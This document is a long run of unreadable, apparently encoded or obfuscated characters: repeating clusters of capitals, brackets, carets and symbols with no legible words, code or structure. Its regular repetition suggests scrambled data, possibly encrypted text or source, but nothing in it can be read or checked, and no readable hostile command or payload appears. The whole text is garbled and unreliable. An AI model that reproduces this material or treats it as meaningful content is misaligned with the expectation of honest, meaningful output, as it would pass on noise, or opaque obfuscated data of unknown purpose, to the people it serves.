ryzwtyfnOLX^FPPZQAh???\S[E^METFXF\QLS[ LLZIIAAXGW@_TCG@@BR[E^METFXAAXGW@_TCG@@BRN??VZ[A\[@P?H??G\OVC_OZ]D[QMjMnhZ^VDGTMFAVPL]Y]SFj SF\QLS[ LLZ?H?BT]jLA@LZBFFAn^PLhG\OVC_OZ]D[QMjMEY@ODYP VXXZOA@EY@ODYP?H?GPA@G[BT]jLA@LZBFFA?H?H?S@[VA\Z[[LQ\GB^XABB ZRQ@AA?N?S\YAPGPMEGPFF\Z[??AGLN?\SOLX^FPPZQA\BjCDOETLDWORRPAjAGT[F\P[AWW]YL^QYEQ[YN?GPA@G[?H????GSR S FS]Tu\RGWQZ[WSVFGFWPOXC?\SGSR S FS]TGSR S FS]T    GSR S FS]T	OXPQS_WCAVOXRB GFWPOXCN?WTWXF\PuWW]YL^QYEQ[YGFWPOXC?\SWW]YL^QYEQ[YWTWXF\POLX^FPPZQAWTWXF\PGSR S FS]TCOQ [GQ\DVjWVOW@WTWXF\PN?\SFWDSWO@V[[ CFM_\MEGFWPOXCASXDZZS^@LTP^ Z[BWTWXF\PN?P_Y^QVA^YGFWPOXC?YTS^L]AS]jTGFWPOXC?H?H?@[FPAWTWXF\P?H???Y\A M  W_BBu\BjCDOETLDWORGFWPOXC???A[OjA^WFY\A M  W_BBY\A M  W_BB?\SA[OjA^WFY\A M  W_BB N?A[OjA^WFSTYFP?H???\SA[OjA^WFN?^^DZRRGuOLX^FPPZQAGFWPOXC?\S\BjCDOETLDWOR^^DZRRGOLX^FPPZQA^^DZRRG ^^DZRRG_Bj\F\@\] _^_P^^DZRRG?\S\RGWQZ[WSVF^^DZRRGIICOQ [GQ\DVjWVOW@^^DZRRGN?A[OjA^WFSTYFP?HPYFPN?RVZQZPM\]BDCW]W\@C_BRB@GO[^jjM\BjCDOETLDWOR ?j\VPDQAM[\\@ GZ^ ADZSCBO^^DZRRG?Z^Q[R_CQOFGRGZ^ ADZSCBOWW]YL^QYEQ[YRVZQZPM\]BDCW
RVZQZPM\]BDCW?\Sj\VPDQAM[\\@ Z^Q[R_CQOFGRIICPGF\Z[jVZXETGPZ^Q[R_CQOFGRj\VPDQAM[\\@ 	N?SZA@CRY]]WOLX^FPPZQA^^DZRRG????DBREOD@C^_u\RGWQZ[WSVF\RGWQZ[WSVFGFWPOXCOLX^FPPZQA SZA@CRY]]W?\SDBREOD@C^_N?jVAGXEQXAEPRPAjZEA\Z[\BjCDOETLDWOR?\SOLX^FPPZQAjVAGXEQXAEP\RGWQZ[WSVFjVAGXEQXAEPSZA@CRY]]WIWW]YL^QYEQ[Y \[A\RGWQZ[WSVFjVAGXEQXAEP\RGWQZ[WSVFjVAGXEQXAEPI	MQMPDBREOD@C^_AG@P?H?\SDBREOD@C^_A[OjA^WFSTYFP???\SDBREOD@C^_OLX^FPPZQARVZQZPM\]BDCWRVZQZPM\]BDCWIIZ^Q[R_CQOFGRIICPGF\Z[jVZXETGPZ^Q[R_CQOFGRj\VPDQAM[\\@ 	_OjYYOOALOTGQB[^XCWW]YL^QYEQ[Y ^^DZRRG\RGWQZ[WSVF?@[FPASZA@CRY]]WDBREOD@C^_jVAGXEQXAEP???HPYFP\S\RGWQZ[WSVFRVZQZPM\]BDCW\RGWQZ[WSVFRVZQZPM\]BDCW  WW]YL^QYEQ[YRVZQZPM\]BDCW	  WGRGVLX W]D APORVZQZPM\]BDCWCOQ [GQ\DVjWVOW@RVZQZPM\]BDCW\RGWQZ[WSVF^^DZRRG\RGWQZ[WSVFRVZQZPM\]BDCWN?EZFAQZX\[TAPF\QPPSSPVASGPPVZ[AGZYSYZBRGTE]??A[OjA^WFSTYFP?H?H?H?\SA[OjA^WFN?|[AYPMAP[F\Z[GPYTMPQE\EPY\[P??\S\RGWQZ[WSVF\RGWQZ[WSVFN?FPAjAGT[F\P[AWW]YL^QYEQ[YMMW????H?GPA@G[?H?\SOXPQS_WCAVOXRB GFWPOXCN?GPA@G[?H?FMR] XG]PFD@\RGWQZ[WSVFGFWPOXC?\Su\RGWQZ[WSVFFMR] XG]PFD@N?uVZYZGGPR\FAPGGPVZGQYTLPG??j[M^MFYLR_STTQFMR] XG]PFD@ AG@P?H?M[BWBTYS^]\]W\@C_BRB@GO[^jjMOLX^FPPZQA?\SM[BWBTYS^]\II\RGWQZ[WSVFM[BWBTYS^]\N?\SRPAjAGT[F\P[A\BjCDOETLDWORN??Z^MWjQGV^@FQTLY@\RGWQZ[WSVF\BjCDOETLDWOR??????FPAjAGT[F\P[A\BjCDOETLDWOR?H?H?\SM[BWBTYS^]\OLX^FPPZQAM[BWBTYS^]\\BjCDOETLDWORM[BWBTYS^]\WW]YL^QYEQ[YM[BWBTYS^]\	WGRGVLX W]D APOM[BWBTYS^]\COQ [GQ\DVjWVOW@M[BWBTYS^]\N?MQL\AVAF]_Y^GZ^ ADZSCBOM[BWBTYS^]\??\SMQL\AVAF]_Y^CPGF\Z[jVZXETGPMQL\AVAF]_Y^BRW^TOAOBRZT[TBSA	N?GPA@G[MPTRRQQZWFPVIZ\MFB[XTLGMPTRRQQZWFPVk?????H?CXYMRMG F]Z WW]YL^QYEQ[YGFWPOXCWW]YL^QYEQ[YOLX^FPPZQAGFWPOXC\RGWQZ[WSVF???X _PLFCAYYL]ZuWW]YL^QYEQ[YCXYMRMG F]Z 
\BjCDOETLDWOR FAG\[RuOLX^FPPZQACXYMRMG F]Z ?\SX _PLFCAYYL]Z\BjCDOETLDWORM[BWBTYS^]\X _PLFCAYYL]ZN????GPA@G[?H??DDAPGjYE_B@SFOFC\VPGFWPOXC?G\[ _TFWDSWO@V[[ CFM_\MEGFWPOXCASXDZZS^@LTP^ Z[BM[BWBTYS^]\?\SG\[ _TN?P_Y^QVA^YGFWPOXC?DDAPGjYE_B@SFOFC\VPGFWPOXC?YTS^L]AS]jTGFWPOXC?POMML[MC\GXBAG@P???MATGYR_DOADBF\AAG@P?[W[[MYZS@M^M[YLGFWPOXC?\S\BjCDOETLDWOR\RGWQZ[WSVFN?FPAjAGT[F\P[AWW]YL^QYEQ[YM TPM?H?HPYFP\SOLX^FPPZQA\BjCDOETLDWORN?FPAjAGT[F\P[AWW]YL^QYEQ[Y?H???H????HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YYA[E WAj????HVTAV]pMVPEA\Z[YA[E WAjN?H?H??S@[VA\Z[_]RSjG _jEGZ@?N?e}eTAAG\W@APF\XTRPQ\XP[F\Z[F??^QPGjR BPQ ROLX^FPPZQAOLX^FPPZQA?^QPGjR BPQ ROLX^FPPZQAWW]YL^QYEQ[Y?\S\RGWQZ[WSVFOLX^FPPZQAN?GPXZCPjTVA\Z[WW]YL^QYEQ[YOLX^FPPZQA?GPXZCPjTVA\Z[\BjCDOETLDWOR\BjCDOETLDWOR?GPXZCPjTVA\Z[WW]YL^QYEQ[Y\RGWQZ[WSVF   ????H?bewYZV^cTG\TA\Z[FZEA\Z[GZB??H?S@[VA\Z[jX^M_R@D]] ?N?AGLN?[ZGXTY\OP???BEQWryzwtyfn\BjCDOETLDWORh?????MQG_LWP^XBEQWEGPS\M\RGWQZ[WSVF?W_MTSj\GTTSfOLX^FPPZQABEQW@FPGFOLX^FPPZQABEQW@FPGXPATWW]YL^QYEQ[Y?GPA@G[BEQWRPAjGPF@YAFBEQWEGPETGPW_MTSj\GTTSMQG_LWP^X\RGWQZ[WSVF?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?GPA@G[TGGTLVjBLE DV IVCFDS@F_MAVjBLE DVk????H?S@[VA\Z[[jWAQY@M@^ZMOPCZLQjW \ZV?N?XPWBB_TP FD[TGGTL?[YOVM[P[M S@[VA\Z[@^CZZ ^SEC GEN?E@WY\F]F[TEF]ZA\FZYTAPQBG\APT]PTQYZR??@^CZZ ^SEC GEn\RGWQZ[WSVFh?GPA@G[@^CZZ ^SEC GE?H?FAGPTX\[RE@WY\F]PG?????AGLN?\S\RGWQZ[WSVFWW]YL^QYEQ[YII\RGWQZ[WSVFWW]YL^QYEQ[YN?e}eXTAV]PMEGPFF\Z[WZZAFAGTEVTETW\Y\AL??GPA@G[XPWBB_TP FD[?H????\SWW]YL^QYEQ[Y ZLQjW \ZVIIPXEALZLQjW \ZVN?GPA@G[XPWBB_TP FD[???H?^@GjjY]OLX^FPPZQA k????\FjFFY\BjCDOETLDWORWW]YL^QYEQ[Y \FjFFY?^]][^VBER@YV\FjFFY
WW]YL^QYEQ[Y\RGWQZ[WSVF?GZLGC\^X] ^\FjFFY
QPS\[PQOLX^FPPZQA
fpv`gpjt`a}jvzz~|pQPS\[PQ\BjCDOETLDWOR 
t`a}jvzz~|p?XX_[Q A@ALXRQMSQPS\[PQ\BjCDOETLDWOR 
yzrrpqj|{jvzz~|p????\SGZLGC\^X] ^IIXX_[Q A@ALXRQMSN?GPA@G[XPWBB_TP FD[?H?\WTW^CGWO GDQPS\[PQ\RGWQZ[WSVF vzz~|pjqzxt|{
OLX^FPPZQAvzz~|pjqzxt|{BROVEFCLP^ZDWS?GOZRMT]WTE^QPS\[PQ\RGWQZ[WSVF 
vzz~|peta}?@ S\\BDGBQPS\[PQ\RGWQZ[WSVF 
tqx|{jvzz~|pjeta}WW]YL^QYEQ[Y  ?QPOSXEM@Oj\FjFFY
WW]YL^QYEQ[Y WW]YL^QYEQ[Y ?\FRGDWWMEiA?^QPGjR BPQ R\RGWQZ[WSVF [YOVM[P[M ?Y@TCPB[^P CPERLBjFTMZ@@Z\BjCDOETLDWOR ?ATTTTXRBV^GWW]YL^QYEQ[Y\RGWQZ[WSVF
uRPAjZEA\Z[Y@TCPB[^TGGTLTGGTL?\S\RGWQZ[WSVF ATTTTXRBV^GATTTTXRBV^GTGGTL?F@BOPDTDY@ESTYFP?MAXTYW]??SZGPTV]ZLQjW \ZVTFMSE_S CCFX^P_N????\SOLX^FPPZQAMSE_S CCFX^P_IIMSE_S CCFX^P_|qIIMSE_S CCFX^P_@FPGjYZR\[N?VZ[A\[@P???H?\SMAXTYW]N?WGPT^?H?_CSCBOV[L_QFAG\[RMSE_S CCFX^P_@FPGjYZR\[[\ERMIT_OM[GBBM\jL[\ERMk???\S\FFPAATTTTXRBV^Gn_CSCBOV[L_Qh\[AATTTTXRBV^Gn_CSCBOV[L_QhOLX^FPPZQA   N?VZ[A\[@P?H?BEjVTV]PjQPYPAPMSE_S CCFX^P_|qWW]YL^QYEQ[Y??DERTVjRPAj@FPGjXPATMSE_S CCFX^P_|qWW]YL^QYEQ[YAG@P???\SOLX^FPPZQA DERTVj\RGWQZ[WSVFDERTVjN?XTABFMPXTGGTL?SZGPTV]DERTVjTFVG]M[XAASAQ_O\XPLR_N????\S\FFPAAQ_O\XPLR_nOLX^FPPZQA hAQ_O\XPLR_n\RGWQZ[WSVF h\BjCDOETLDWORN?XTABFMPXnVG]M[XAAShAQ_O\XPLR_?H?H?\SOLX^FPPZQAXTABFMPXOLX^FPPZQADERTVjN?@EQTAPj@FPGjXPATMSE_S CCFX^P_|q\BjCDOETLDWORXTABFMPX?H?H????BEjVTV]PjQPYPAPMSE_S CCFX^P_|q\BjCDOETLDWOR?\PCLR]^CZXOLX^FPPZQA TGGTL\RGWQZ[WSVFOLX^FPPZQAMSE_S CCFX^P_|q?j[GRATDEWZY\PCLR]^CZXVGPTAP^@GjjY]?BWVSFPSBOATGGTL?BWVSFPSBOAnh\WTW^CGWO GD\FRGDWWME\RGWQZ[WSVF \FRGDWWMEGOZRMT]WTE^\FRGDWWMEQPOSXEM@Oj\FRGDWWME^@GjjY]\FRGDWWMEXX_[Q A@ALXRQMS\FRGDWWME\RGWQZ[WSVFMSE_S CCFX^P_|q^@GjjY]WW]YL^QYEQ[Yj[GRATDEWZY?\SGZLGC\^X] ^N?BWVSFPSBOAnh\WTW^CGWO GD\FRGDWWME\RGWQZ[WSVF\FRGDWWME@ S\\BDGB\FRGDWWMEQPOSXEM@Oj\FRGDWWME^@GjjY]\FRGDWWMEGZLGC\^X] ^\FRGDWWME\BjCDOETLDWORMSE_S CCFX^P_|q^@GjjY]^]][^VBER@YVj[GRATDEWZY?H???XPWBB_TP FD[nMSE_S CCFX^P_@FPGjYZR\[hBWVSFPSBOA?ATTTTXRBV^Gn_CSCBOV[L_Qh^@GjjY]AEOS_jWDj PAEOS_jW?F@BOPDTDY@EAG@P?MAXTYW]?H?]PGX\A\T[]LEPGYZRYZR???\SF@BOPDTDY@EWW]YL^QYEQ[YWW]YL^QYEQ[YN?u@EQTAPjZEA\Z[Y@TCPB[^ATTTTXRBV^GWW]YL^QYEQ[Y?H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj???HVTAV]pMVPEA\Z[YA[E WAjN?H?GPXZCPjS\YAPG\RGWQZ[WSVF[YOVM[P[M ?GPA@G[XPWBB_TP FD[????H?S@[VA\Z[[jLOV@TQDQVS[QC^jMLGRBY??N?\S\RGWQZ[WSVFC^jMLGRBYGPA@G[C^jMLGRBY?\SWW]YL^QYEQ[YC^jMLGRBY\FFPAC^jMLGRBYnEh\RGWQZ[WSVFC^jMLGRBYnEhGPA@G[C^jMLGRBYnEh?GPA@G[?H?S@[VA\Z[_^B@PXjSjDjGOW_ TZLQjW \ZV?N??Y\FATGGTL?CDjZALAEDFAG\[R]W\@C_BRB@GO[^jjMWW]YL^QYEQ[Y?GQT YVZSFAG\[R]W\@C_BRB@GO[^jjM\RGWQZ[WSVF ?\SCDjZALAEDGQT YVZSN?Y\FAnCDjZALAEDhGQT YVZS??????H?ML\QS BZ@]W\@C_BRB@GO[^jjM\RGWQZ[WSVFTGGTL??\S\RGWQZ[WSVFML\QS BZ@N????SZGPTV]ML\QS BZ@TFATEC[^XLRTRBGQDGLN?SYWSTOX[\GZ[jLOV@TQDQVS[QTRBGQDGL?\SSYWSTOX[\GZY\FAnFAG\[RATEC[^XLRhSYWSTOX[\GZ?H?H?GPA@G[Y\FA??H?S@[VA\Z[DDSD@FGE]FVY^LLRXATEC[^XLRT^ D^^___W\SDCTROACEQ?N?AGLN?\SOLX^FPPZQAATEC[^XLRIIWW]YL^QYEQ[YATEC[^XLRWW]YL^QYEQ[YN?GPA@G[ATEC[^XLR?H?\SATEC[^XLR]TFjVTEOLX^FPPZQAN?GPA@G[ATEC[^XLR?H?\SWW]YL^QYEQ[YW\SDCTROACEQIIW\SDCTROACEQN?xLfdyvapFXPTF@GPTYYZVTAZG??GPA@G[ATEC[^XLR?H?ML\QS BZ@]W\@C_BRB@GO[^jjM\BjCDOETLDWORTGGTL?\SOLX^FPPZQAML\QS BZ@N?ML\QS BZ@TGGTL???H?SZGPTV]ML\QS BZ@TFLV^jTGjDBT OGX][MGTN???EL@OjSWAWMBWW]YL^QYEQ[YX][MGT\FFPAX][MGTn\RGWQZ[WSVFh
\[AX][MGTnOLX^FPPZQAh??\SEL@OjSWAWMBEL@OjSWAWMB	WW]YL^QYEQ[Y  @[FPAML\QS BZ@nLV^jTGjDBT OGh???H???ML\QS BZ@nATEC[^XLR@FPGjYZR\[hTGGTLEW\SDCTROACEQ\BjCDOETLDWORWW]YL^QYEQ[Y\RGWQZ[WSVF?_OjYYOOALOTGQB[^XCOLX^FPPZQAML\QS BZ@\RGWQZ[WSVF??HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj???HVTAV]pMVPEA\Z[YA[E WAjN?H?GPA@G[ATEC[^XLR?H???S@[VA\Z[BTC_\M^TMORF@OGFLW ATEC[^XLR?N?AGLN?\S\BjCDOETLDWOR@OGFLW II@OGFLW GPA@G[???ML\QS BZ@]W\@C_BRB@GO[^jjM\BjCDOETLDWORTGGTL?\SWW]YL^QYEQ[YML\QS BZ@II\FFPAML\QS BZ@n@OGFLW hGPA@G[?YA[E WAjML\QS BZ@n@OGFLW h?\SWW]YL^QYEQ[Y YA[E WAjPXEALYA[E WAjn\BjCDOETLDWORhNCFLX[FSZMQMV ^ZOMRPGCECFLX[FSZ?ML\QS BZ@n@OGFLW hnWW]YL^QYEQ[YhT@_SEXD_^T@MWL]SCFT@_SEXD_?_OjYYOOALOTGQB[^XC\BjCDOETLDWORML\QS BZ@\BjCDOETLDWOR?H??HVTAV]a]GZBTWYP_WTCQC[[EDW^N?Z^MWjQGV^@FQTLY@OLX^FPPZQA_WTCQC[[EDW^?HVTAV]pMVPEA\Z[_WTCQC[[EDW^N????H?H?S@[VA\Z[^ RDRj@VDORWTRA\QOjAZLQjW \ZV?NjMS@^EBSEPQB I^\LQOjMS@^EBSEPQBk???\S\BjCDOETLDWOR ZLQjW \ZVN?TBT\A\QPXEZAP[ATQ_VZZGQ\[TAZG??GPA@G[STYFP??H?YSWQWW@Q]W\OAQOBWTFR]MPZX?SZGPTV]ZLQjW \ZVTFMSE_S CCFX^P_N?SZGPTV]YSWQWW@Q]WTFZ^XCRR[\@^jN?\S\BjCDOETLDWOROLX^FPPZQAOLX^FPPZQAZ^XCRR[\@^j\BjCDOETLDWORMSE_S CCFX^P_@FPGjYZR\[N?AZATYEGZZSAPGX??GPA@G[MSE_S CCFX^P_?H?H?H?GPA@G[STYFP?H?S@[VA\Z[ZFPEEWPPYMG@]YOG@_LGGTQ C\Y]LREV[[QL?N?GPA@G[\RGWQZ[WSVFOLX^FPPZQAYOG@_LGGTQ C\Y]LREV[[QL????H???S@[VA\Z[RXSSRTABRGAS\jZD\ ]?N?\S\BjCDOETLDWORS\jZD\ ]IIS\jZD\ ]IIQPS\[PQWW]YL^QYEQ[YGPA@G[STYFP?FATA\VjOBYMLRSSG[@YY?\SjOBYMLRSSG[@YYN?beeTGTRGTE]wYZV^GPYPTFPQPD@P?PCZ\]]^\AB]e}ejxtzgjcpgf|z{SEVMCTW _TPCZ\]]^\AB]?jOBYMLRSSGTGGTL?ZFPEEWPPYMG@]twfeta}\RGWQZ[WSVF \BjCDOETLDWOR?ZFPEEWPPYMG@]twfeta}\BjCDOETLDWOROLX^FPPZQA??H?SZGPTV]jOBYMLRSSGTFG@ZPSO^RMN^EYYE] V@@XSMRLDjTSW^EYYE] V@@?\S\RGWQZ[WSVFS\jZD\ ]G@ZPSO^RMSTYFPGPA@G[AG@P?H?GPA@G[STYFP?H?S@[VA\Z[PMMV]RD[[MR\Y]LREV[[QL??NYVEFOPPDF^WCP[ET^O[DYVEFOPPDF^W?GPA@G[ZFPEEWPPYMG@]@[\D\QFAG\[ROLX^FPPZQAAG@P\Y]LREV[[QL????H?S@[VA\Z[FWSOBEVjPAEGWYFPD[YM^_VP?N?\SWW]YL^QYEQ[Y\BjCDOETLDWORGPA@G[STYFP????^Q^O_VSF] RPAjZEA\Z[\BjCDOETLDWORTGGTLXWR]SR]CP  PEVBM[XWR]SR]CP?\SWW]YL^QYEQ[Y ^Q^O_VSF] GPA@G[STYFP?P@jSAG _W \BjCDOETLDWOR[YM^_VP????\SPXEAL^Q^O_VSF] nP@jSAG _W hGPA@G[STYFP?SYWSTOX[\GZ\RGWQZ[WSVFIFAG\[R^Q^O_VSF] nP@jSAG _W h?EM_RGBPYA\FFPASYWSTOX[\GZnh
\[ASYWSTOX[\GZnhLV[ Q^@^G @CM\LV[ Q^@^G?GPA@G[EM_RGBPYAWW]YL^QYEQ[YEM_RGBPYA	MPVVMWQ?H?S@[VA\Z[[[GZQQ \DZ[YM^_VPWDF[ _FO?N?\S\RGWQZ[WSVF\RGWQZ[WSVFII\BjCDOETLDWOR \RGWQZ[WSVFGPA@G[?^Q^O_VSF] RPAjZEA\Z[OLX^FPPZQATGGTL?\S\RGWQZ[WSVF ^Q^O_VSF] ^Q^O_VSF] TGGTL?P@jSAG _W \RGWQZ[WSVF[YM^_VP??\SWDF[ _FON?\S\FFPA^Q^O_VSF] nP@jSAG _W hN?@[FPA^Q^O_VSF] nP@jSAG _W h?@EQTAPjZEA\Z[WW]YL^QYEQ[Y^Q^O_VSF] ?H?GPA@G[?H????X_XGPF\^WR@C?\SPXEAL^Q^O_VSF] nP@jSAG _W hN?SYWSTOX[\GZ\RGWQZ[WSVFIFAG\[R^Q^O_VSF] nP@jSAG _W h?X_XGPF\^WR@C\[ASYWSTOX[\GZnh??H?X_XGPF\^WR@C?EM_RGBPYAX_XGPF\^WR@C
\BjCDOETLDWOR?SZGPTV]^Q^O_VSF] TFDP_O ^YjTFPPSPWS[D_WN?S\jZD\ ]WW]YL^QYEQ[YIFAG\[RFPPSPWS[D_W?\SPXEALS\jZD\ ]nhOLX^FPPZQA\[AS\jZD\ ]nhMSM@[FPA^Q^O_VSF] nDP_O ^YjTh?H????^Q^O_VSF] nP@jSAG _W hX_XGPF\^WR@CIEM_RGBPYA?@EQTAPjZEA\Z[\BjCDOETLDWOR^Q^O_VSF] ?H?S@[VA\Z[[DE@_@[VM\[YM^_VP@O F@PZF]W\T^???N???\S\RGWQZ[WSVF@O F@PZF]W\T^GPA@G[????V_jjE\DQBE@PVjG[VQQ]E@^jVMWW]YL^QYEQ[Y[YM^_VP\RGWQZ[WSVF?\SV_jjE\DQBE@PSTYFPN?\Su\BjCDOETLDWORV_jjE\DQBE@P@O F@PZF]W\T^\BjCDOETLDWOR@O F@PZF]W\T^]GYC O_WB@j^EV_jjE\DQBE@P[YM^_VPGPA@G[??\LYGF@GDVCLPD[V_jjE\DQBE@P???H?uOLX^FPPZQA[YM^_VP@O F@PZF]W\T^?H??S@[VA\Z[FWDSWO@V[[ CFM_\ME[YM^_VPCR\AP E]FjM]????N?GE^Y^@VF\RGWQZ[WSVF[YM^_VP?\SuOLX^FPPZQAGE^Y^@VFN?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\BjCDOETLDWOROLX^FPPZQA[YM^_VP?GPA@G[STYFP???H?@GTS@\D[WW]YL^QYEQ[Y[YM^_VPMM\BjCDOETLDWOR?\S@GTS@\D[COQ [GQ\DVjWVOW@CR\AP E]FjM]N?Z^MWjQGV^@FQTLY@\BjCDOETLDWOROLX^FPPZQA \RGWQZ[WSVF[YM^_VP?GPA@G[STYFP?H?\S@GTS@\D[FWSOBEVjPAEGWYFPD[YM^_VPGPA@G[STYFP?MZBjjO[STYFP?\Su\BjCDOETLDWOR[YM^_VPMZBjjO[AG@P?@O F@PZF]W\T^[@YYY_RRL ZFFe}ej|{ajxtme}ej|{ajxtmCXGSY^GSPMY_RRL ZFF?MS^MRSY^STYFP?PBBV @[@YY?\Su\RGWQZ[WSVF[YM^_VPu\RGWQZ[WSVF[YM^_VPN?MS^MRSY^AG@P?PBBV @uS\YPEPGXF[YM^_VP?\SPBBV @STYFPPBBV @[@YY?\Su\BjCDOETLDWOR[YM^_VP	MSMPPS@O F@PZF]W\T^uWW]YL^QYEQ[Y[YM^_VP????H?\SWW]YL^QYEQ[Y WW]YL^QYEQ[YN?Z^MWjQGV^@FQTLY@OLX^FPPZQA\BjCDOETLDWOROLX^FPPZQA[YM^_VP?GPA@G[STYFP?H???XQVSGF^\TV^V[FSTYFP?SVVOTBWYQZSTYFP?jVYOLX^FPPZQACR\AP E]FjM]?SZGYVXWQRG_AYVXWQRG_A	YVXWQRG_AN?XQVSGF^\TV^V[FVjG[VQQ]E@^jVMGE^Y^@VFOLX^FPPZQA?\SXQVSGF^\TV^V[FSTYFPN?SVVOTBWYQZSTYFP?S\jZD\ ]u\BjCDOETLDWORXQVSGF^\TV^V[F\RGWQZ[WSVF?\SS\jZD\ ]STYFPN?[GDjQ_M?B]\YP[GDjQ_M	jVYN???RjZZ[ATCOSWuOLX^FPPZQAS\jZD\ ]OLX^FPPZQACR\AP E]FjM][GDjQ_M?\SRjZZ[ATCOSWSTYFPIIRjZZ[ATCOSWWGPT^?[GDjQ_MRjZZ[ATCOSW?H?uSSY@F]S\jZD\ ]?uFEPV\TY\OPTRRGPRTAZG?\TB S^ XIPPCPFBQLWZ\TB S^ Xk?\S\BjCDOETLDWOR\RGWQZ[WSVFuSFL[VS\jZD\ ][PB]CRVYADW@FC]]X[PB]CRVYAD
[PB]CRVYAD[PB]CRVYAD?uSVYZFPS\jZD\ ]?\S[GDjQ_MjVYSVVOTBWYQZ[GDjQ_M?HPYFPN???SVVOTBWYQZuOLX^FPPZQA XQVSGF^\TV^V[FCR\AP E]FjM]??H?\[Y\[PVTV]P??\SSVVOTBWYQZSTYFPSVVOTBWYQZjVYWGPT^?\LYGF@GDVCLPD[XQVSGF^\TV^V[F????XQVSGF^\TV^V[FSTYFP???H????H?\SXQVSGF^\TV^V[FSTYFPN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YOLX^FPPZQAWW]YL^QYEQ[Y[YM^_VP?GPA@G[STYFP?H????\SSVVOTBWYQZSTYFPIISVVOTBWYQZjVYN?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\RGWQZ[WSVFWW]YL^QYEQ[Y[YM^_VP?\LYGF@GDVCLPD[XQVSGF^\TV^V[F?GPA@G[STYFP?H?\SPBBV @[@YYu\RGWQZ[WSVFXQVSGF^\TV^V[FPBBV @???C@Y^\SOADROCT]GYC O_WB@j^EXQVSGF^\TV^V[F[YM^_VP?\SC@Y^\SOADROCTMS^MRSY^MZBjjO[N?\SuWW]YL^QYEQ[Y[YM^_VPDDAPGjYE_B@SFOFC\VP[YM^_VP?OPQC[O\TTDVjP[YM^_VP\BjCDOETLDWOR\BjCDOETLDWORMM?\S]GYC O_WB@j^E[YM^_VPOPQC[O\TTDVjPN?C@Y^\SOADROCT]GYC O_WB@j^EXQVSGF^\TV^V[F[YM^_VP?\SC@Y^\SOADROCTN??\LYGF@GDVCLPD[OPQC[O\TTDVjP??HPYFPN?FTA\FS\TWYPWTV^YZR???\S]GYC O_WB@j^EOPQC[O\TTDVjP[YM^_VPSZO@BRBG\MTOPQC[O\TTDVjP[YM^_VPN?[DE@_@[VM\[YM^_VP@O F@PZF]W\T^?H?efg X\QQYPBTGPY\[PTGTQ_WGT[QPQALEP??\Su\BjCDOETLDWOR[YM^_VPN?[DE@_@[VM\[YM^_VP@O F@PZF]W\T^?H???H???H?H???\SC@Y^\SOADROCTMZBjjO[@GTS@\D[N????\SuWW]YL^QYEQ[Y[YM^_VPDDAPGjYE_B@SFOFC\VP[YM^_VP?\SSZO@BRBG\MTXQVSGF^\TV^V[F[YM^_VPN?C@Y^\SOADROCTAG@P?\LYGF@GDVCLPD[XQVSGF^\TV^V[F[_j^GO]]CLRZSLZj[_j^GO
[_j^GO[_j^GO?H?H????\SC@Y^\SOADROCTN?\SuWW]YL^QYEQ[Y[YM^_VP\[Au\RGWQZ[WSVF[YM^_VPjVYN[VRRXMDSZSOMQXY]G[VRRXM?V OQF\ W\ju\RGWQZ[WSVF[YM^_VP??\S\BjCDOETLDWORV OQF\ W\jIIOLX^FPPZQA@O F@PZF]W\T^V OQF\ W\j@O F@PZF]W\T^N?\SWW]YL^QYEQ[Y@O F@PZF]W\T^[DE@_@[VM\[YM^_VP@O F@PZF]W\T^???PYFP\SMS^MRSY^\LYGF@GDVCLPD[[YM^_VP?befZV\TYy\[^FGPFEZ[F\CPWGPT^EZ\[A??H?@[FPAV OQF\ W\j?H?\SuOLX^FPPZQA[YM^_VPN?[DE@_@[VM\[YM^_VP@O F@PZF]W\T^?H?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y\RGWQZ[WSVF\RGWQZ[WSVF[YM^_VP?\LYGF@GDVCLPD[XQVSGF^\TV^V[F?GPA@G[STYFP?H????uVYPTGFATAVTV]PAG@P[YM^_VP??ABVACBY[C@\TESTYFP???\SjVY	N???A\F ZROu\BjCDOETLDWOR [YM^_VP???ABVACBY[C@\TE\BjCDOETLDWORA\F ZRO\BjCDOETLDWORA\F ZROjVYWW]YL^QYEQ[YA\F ZRO\BjCDOETLDWORCR\AP E]FjM]?HPYFPN?SEE OZTB@QOLX^FPPZQA\BjCDOETLDWOR
u]TF]jS\YPOLX^FPPZQA[YM^_VPSTYFP?\SOLX^FPPZQASEE OZTB@QSEE OZTB@QABVACBY[C@\TESEE OZTB@QWW]YL^QYEQ[YCR\AP E]FjM]?PYFPN?VTAV]WYZV^??BD^T@X\[BQLuOLX^FPPZQA[YM^_VP?\SBD^T@X\[BQLjVYN?PZWV@A^XPuOLX^FPPZQA [YM^_VPSTYFP[@YY ?jGAu\BjCDOETLDWOR [YM^_VPSTYFP[@YYjVY?ABVACBY[C@\TE\BjCDOETLDWORPZWV@A^XP\RGWQZ[WSVFjGAPZWV@A^XPWW]YL^QYEQ[YCR\AP E]FjM]MSMWQjGA\RGWQZ[WSVFCR\AP E]FjM]jVY????H?H????H???\SABVACBY[C@\TEN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YOLX^FPPZQA\RGWQZ[WSVF[YM^_VP????\S@GTS@\D[[[GZQQ \DZ[YM^_VPAG@P?\S\RGWQZ[WSVF@O F@PZF]W\T^N?XPQR]DPX^ODOCOLX^FPPZQA\BjCDOETLDWOR
